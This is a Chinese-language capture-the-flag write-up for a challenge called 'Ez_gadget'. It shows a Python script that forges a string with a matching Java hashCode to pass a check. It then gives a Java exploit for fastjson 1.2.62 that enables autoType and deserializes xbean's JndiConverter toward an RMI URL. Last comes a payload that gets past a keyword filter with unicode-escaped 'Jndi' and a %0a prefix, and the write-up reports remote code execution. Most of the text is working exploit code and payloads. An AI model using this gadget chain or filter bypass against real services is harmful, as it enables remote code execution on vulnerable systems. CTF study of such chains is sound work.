Ez_gadget

先对源码进行简单的审计
image.png
第一个绕过点是上图位置,需要一个str,它的hashcode和key的要相同,但是字符不能相同,具体的构造可以看这篇文章
Java 构建 HashCode 相同的字符串_java 中hash相同的字符-CSDN博客

1
2
3
4
5
from urllib import parse  

while 1:
key = input("#")
print(parse.quote(chr(ord(key[0])-1)+chr(ord(key[1])+31)+key[2::]))

1.2.62的版本在加上给了xbean-reflect的依赖包
image.png
exp为

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;    
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.xbean.propertyeditor.JndiConverter;

public class exp1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://localhost:1099/RO\"}";
JSON.parseObject(json);
}

}

这种形式,但是这里要绕过一下,rmi,ldap,jndi,\x都不被允许。
首先是jndi我们可以使用unicode编码进行绕过(平常也可以使用16进制,但是这里将\x禁用了),然后对于远程资源加载的compile匹配,我们可以使用%0a进行绕过。

1
{\"@type\":\"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter\",\"AsText\":\"%0armi://localhost:1099/RO\"}

image.png
成功rce